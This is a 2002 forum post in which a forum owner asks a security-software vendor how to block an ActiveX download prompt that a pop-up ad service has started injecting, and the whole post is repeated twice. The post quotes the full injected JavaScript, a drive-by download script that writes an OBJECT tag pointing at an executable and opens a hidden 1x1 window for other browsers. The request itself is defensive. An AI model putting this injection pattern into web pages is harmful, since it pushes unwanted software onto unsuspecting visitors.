Synthetic
December 2nd, 2002, 03:52 PM
I'm using a pop-up service to help pay for a forum, normally the pop-ups are fine but recently they started asking my members to download an activeX control that I think is a variant to the lop.com thing we had a while back, but i'm not totally sure.
Here is the script it add's to the page...
<script language=JavaScript>
<!-- Vanish
var baseURL = "http://www.my-site.com/";
var filename = "best-mp3-download.exe";
function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);
Browser = "NS";
if ((BrowserName == "Netscape"))
Browser = "NC";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload() {
window.open("best-mp3-download.exe","_blank","height=1,width=1");
}
function IE_DownloadFile(ieURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+ieURL+"\">");
document.write("<\/OBJECT>");
}
function DownloadFile()
{
if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + filename);
if (WhichBrowser() == "NC") ncDownload();
}
// -->
</script>
<script language=JavaScript>
<!-- hide script
DownloadFile();
// -->
</script>
<!-- END ActiveX code -->
<!-- End Template: name -->
And here is a screenshot of the pop-up http://xtrea.com/img/popup.png
I want something I can give my user's that will keep them from being asked to download that, currently your program does not list that or isn't aware of it yet...
Anyway, if you could tell me how the program goes about blocking the other activeX plug-ins I'd like to try and do the same for this one.
I know the windows registry pretty well, but not really sure what I'm looking for yet...
*Thanks in advance for any help you can give, I hope this is ok to ask here?*
Here is the script it add's to the page...
<script language=JavaScript>
<!-- Vanish
var baseURL = "http://www.my-site.com/";
var filename = "best-mp3-download.exe";
function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);
Browser = "NS";
if ((BrowserName == "Netscape"))
Browser = "NC";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload() {
window.open("best-mp3-download.exe","_blank","height=1,width=1");
}
function IE_DownloadFile(ieURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+ieURL+"\">");
document.write("<\/OBJECT>");
}
function DownloadFile()
{
if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + filename);
if (WhichBrowser() == "NC") ncDownload();
}
// -->
</script>
<script language=JavaScript>
<!-- hide script
DownloadFile();
// -->
</script>
<!-- END ActiveX code -->
<!-- End Template: name -->
And here is a screenshot of the pop-up http://xtrea.com/img/popup.png
I want something I can give my user's that will keep them from being asked to download that, currently your program does not list that or isn't aware of it yet...
Anyway, if you could tell me how the program goes about blocking the other activeX plug-ins I'd like to try and do the same for this one.
I know the windows registry pretty well, but not really sure what I'm looking for yet...
*Thanks in advance for any help you can give, I hope this is ok to ask here?*